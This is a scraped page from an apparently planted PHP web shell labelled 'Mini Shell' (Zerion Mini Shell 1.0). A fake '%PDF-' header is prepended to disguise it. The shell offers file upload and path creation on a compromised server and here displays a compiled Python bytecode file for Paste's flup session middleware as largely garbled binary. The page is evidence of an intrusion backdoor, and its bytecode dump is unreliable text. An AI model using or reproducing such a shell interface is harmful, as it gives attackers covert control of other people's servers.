%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/paste/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib/python2.7/site-packages/paste/flup_session.pyo

�
a�Nc@s�dZddlmZddlmZddlZejjZiZ	de
fd��YZde
fd��YZeed	�Z
dS(
s�
Creates a session object.

In your application, use::

    environ['paste.flup_session_service'].session

This will return a dictionary.  The contents of this dictionary will
be saved to disk when the request is completed.  The session will be
created when you first fetch the session dictionary, and a cookie will
be sent in that case.  There's current no way to use sessions without
cookies, and there's no way to delete a session except to clear its
data.
i����(thttpexceptions(twsgilibNt	NoDefaultcBseZRS((t__name__t
__module__(((sC/opt/alt/python27/lib/python2.7/site-packages/paste/flup_session.pyRstSessionMiddlewarecBs�eZiejddedfgfd6ejddedfddedfgfd6ejddedfdd	ed
fgfd6Zde
e
d�Zd
�ZRS(tsession_timeoutttimeouti<tmemorytsession_dirtstoreDirs
/tmp/sessionstdisktsession_filet	storeFiles/tmp/session.shelvetshelvecKs||_|tkr*|jdd�}n||_y |j|j\|_|_Wn<tk
r�td|jdj|jj	��f��nXi}x?|jD]4\}}}	}
|	|j||
��}|||<q�W|j|�|_
|tkr
|jdd�}n||_dS(Ntsession_typeRs0The session_type %s is unknown (I know about %s)s, tsession_cookiet_SID_(tapplicationRtgetRtsession_classeststore_classt
store_argstKeyErrortjointkeyststoretcookie_name(tselftapptglobal_confRRtstore_configtkwtconfig_nametkw_nametcoercertdefaulttvalue((sC/opt/alt/python27/lib/python2.7/site-packages/paste/flup_session.pyt__init__.s&		 
#cs�tj|j|d|jd|j���|d<d��fd�}y|j||�}Wngtjk
r�}|jp}ij	�}�j
|�t|�|_�j��n�j��nXt
j|�j�S(Nt
cookieNamet	fieldNamespaste.flup_session_servicecs�j|��|||�S(N(t	addCookie(tstatustheaderstexc_info(tservicetstart_response(sC/opt/alt/python27/lib/python2.7/site-packages/paste/flup_session.pytcookie_start_responseNs
(tflup_sessiontSessionServiceRRtNoneRRt
HTTPExceptionR+titemsR)tdicttcloseRt	add_close(RtenvironR.R/tapp_iterteR+((R-R.sC/opt/alt/python27/lib/python2.7/site-packages/paste/flup_session.pyt__call__Hs"



N(
RRR0tMemorySessionStoretinttDiskSessionStoretstrtShelveSessionStoreRR2RR&R;(((sC/opt/alt/python27/lib/python2.7/site-packages/paste/flup_session.pyRs	c	Kst|d|d|d||�S(s�
    Wraps the application in a session-managing middleware.
    The session service can then be found in
    ``environ['paste.flup_session_service']``
    RRR(R(RRRRR((sC/opt/alt/python27/lib/python2.7/site-packages/paste/flup_session.pytmake_session_middleware`s		(t__doc__tpasteRRtflup.middleware.sessiontflupt
middlewaretsessionR0tstore_cachetobjectRRRA(((sC/opt/alt/python27/lib/python2.7/site-packages/paste/flup_session.pyt<module>sB

Zerion Mini Shell 1.0